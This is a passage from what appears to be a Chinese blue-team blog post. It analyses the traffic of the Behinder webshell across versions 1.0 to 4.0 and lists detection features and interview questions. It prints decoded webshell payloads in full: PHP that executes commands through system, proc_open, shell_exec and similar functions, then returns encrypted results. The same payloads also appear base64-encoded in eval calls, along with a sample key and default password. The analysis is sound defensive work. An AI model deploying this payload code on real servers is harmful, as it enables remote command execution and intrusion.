CAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0id2hvYW1pIjsNCm1haW4oJGNtZCk7'));
我们接着拿到AES解密后的包内的base64去解码,得到原执行过程,可以看到在最后执行了whoami命令
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result), $key);
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result), $_SESSION['k']);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$cmd="whoami";
main($cmd);
同样的方法,我们继续解码响应包内容,得到当前用户
status:success,后面接着就是执行的结果,攻击端命令行去除msg进行显示
然后我们接着看冰蝎3.0特征,3.0相比1.0和2.0版本,最大的特点就是去除了动态密钥机制,因为动态密钥请求特征太容易被安全设备监测,shell文件和前期版本一样,在server目录下
相比较2.0,3.0的过程看着更加简单了,其实就是除了前面的密钥固定了,其它过程不变,密钥这次还是本地,这么看有些特征和哥斯拉确实差不多,解密过程还是和2.0一样,这里我发送一个dir命令
依然是CBC模式,已知shell文件存放在了本地,key为"dfff0a7fa1a55c8c",这里可以尝试去somd5解密,当然如果密码是强密码不一定能跑出来
assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0iZGlyIjsNCm1haW4oJGNtZCk7'));
在将其中的base64编码取出进行解码拿到明文
我们接着在同样的方法查看响应包内容,先AEC-CBC模式解密
status: success
驱动器 D 中的卷是 Data
卷的序列号是 529D-ACBF
D:\phpstudy_pro\WWW\ 的目录
2024/05/29 11:02 <DIR> .
2024/05/29 11:02 <DIR> ..
2024/05/20 15:33 0 .htaccess
2024/05/20 15:30 <DIR> error
2024/05/20 16:36 179 index.php
2024/05/20 15:33 0 nginx.htaccess
2024/05/29 11:12 619 shell.php
2019/02/14 17:20 667 shelll.php
2024/05/20 17:43 219,002 swagger.csv
2024/05/28 10:52 108 test.php
7 个文件 220,575 字节
3 个目录 15,938,629,632 可用字节
以上是3.0的流量过程,具体与前期版本最大差异就是从密钥协商过程变成了预共享密钥
我们接着看4.0版本,在冰蝎4.0及以后的版本,作者改动和修复的东西很多,更加细节化了,并且支持了多种加密,UI进行了美化,支持本地生成shell文件自定义配置等
我们先在本地生成了加密器default_aes文件和default_xor_base64的shell,拿来对比一下
其实在我的理解里面,AES去掉第6行以及解密阶段,就是一句话木马
首先呢,这两个我改了密钥,规则还是取前16位,密码是cmd,在xor_base64中,过程就是对传输过来的数据进行base64解码,接着在for循环内进行异或解密操作,然后获取主体数据后使用eval函数执行解密的代码
而AES就显得简单粗暴了,对传入的数据进行openssl解密,然后进行base64解码,接着就是AES解密,最后获取主体数据使用eval函数执行代码
因为加密器在本地,解密器是上传到本地的,所以我们可以直接拿过来修改一下
经过解密后,我们可以对$cmd及$path中数据进行base64解码,得到我们执行的命令为dir
响应包也是一样,我们替换掉数据后进行解密,这里我直接将msg内容进行解码输出了
接着看AES流量,这个比较熟悉了,前面说了很多AES,直接拿key过来,然后进行解密就行,我这里还是用PHP改动一下打印解码输出
为了更直观的看到,我这里直接将操作的base64编码进行代入并进行了解码
关于响应包也是如此,直接将数据拿来后进行替换
有关于其它加密器可自行研究,4.0流量过程相较于其它版本确实有所不同,解密器在本地,流量大致以下图片
以上过程由我个人理解,不妥之处请指出
3. 流量特征
Q1. 冰蝎1.0和2.0版本中,最明显的特征就是需要密钥协商,发送GET请求获取动态密钥
Q2. 在2.0版本中默认特征Accept为: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2,但是这个可以消除,可以作为辅助特征
Q3. 在2.0版本中,UA是随机UA,每次或几次请求后会更换UA,大概是16个左右,UA较老,在Constants.java内的库中,我们对程序进行反编译后可以看到,这些特征都是可以修改
Q4. Connection特征,这个可以使用流量抓包工具看到,长连接,避免资源浪费开销大,也和HTTP1.0有关,1.1后貌似就没了
Q5. 2.0的固定特征就是随机请求的三位数,这个是强特征
Q6. 在冰蝎3.0中,UA再次增加,继续进行反编译后可以看到,这个可以作为辅助特征
Q7. 辅助弱特征: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9,因为可以改动,以及:Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Q8. 部分3.0以后的子版本至4.0以后增加了referer参数,末尾文件名随机大小写
Q9. 在冰蝎4.0之后,UA头进行了缩减,此处不在反编译,因为3.0以后还可以自定义UA头
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Q10. 3.0-4.0之后的默认密码为rebeyond,也可以作为辅助特征,当然了传到你本地的shell,你也能直接查看到
Q11. 冰蝎4.0弱特征(可修改),Accept: application/json, text/javascript, */*; q=0.01以及Content-type: Application/x-www-form-urlencoded
Q12. 冰蝎4.0攻击方主机特征每次建立连接端口会递增,活动端口会在49700附近(我这里尝试流量抓包,并没有发现相关问题)
Q13. 最后会出现以下字段,但是需要解密后才能看到,这个可以作为强特征,视情况而定
$post=Decrypt(file_get_contents("php://input"));
eval($post);
4. 面试题
1. 对于相关内存马的特征
像哥斯拉和冰蝎的内存马会有跟webshell相似的特征,分析特殊的classloader加载,攻击者喜欢利用TemplatesImpl和bcel加载内存马,因为内存马是驻留在内存里的,本地无class文件,通过检测Filter对应的ClassLoader目录下是否存在class文件来判断,也可以把内存中所有的Filter的class dump出来,使用工具分析是否存在恶意代码
2. 关于冰蝎的流量特征
答案不固定,根据我上方总结的进行回答即可
3. 不同冰蝎版本差距及特征(出现很多次)
按照上方进行总结回答即可
0x03 总结
本次对于常见的远控工具及Webshell进行流量总结,过程复现,特征分析列出以及网罗的一些面试题、HVV面试题进行列出,工具包括CobaltStrike、蚁剑、哥斯拉、冰蝎流量特征,仅对未魔改工具做分析,不做为魔改依据,不妥之处请指出,如需转载请私聊或直接留言即可
如您觉得我的文章还可以、麻烦留个大大的点赞,对我进行鼓励,多多转发收藏支持一下,感谢↓↓↓↓↓↓↓↓↓↓↓↓↓↓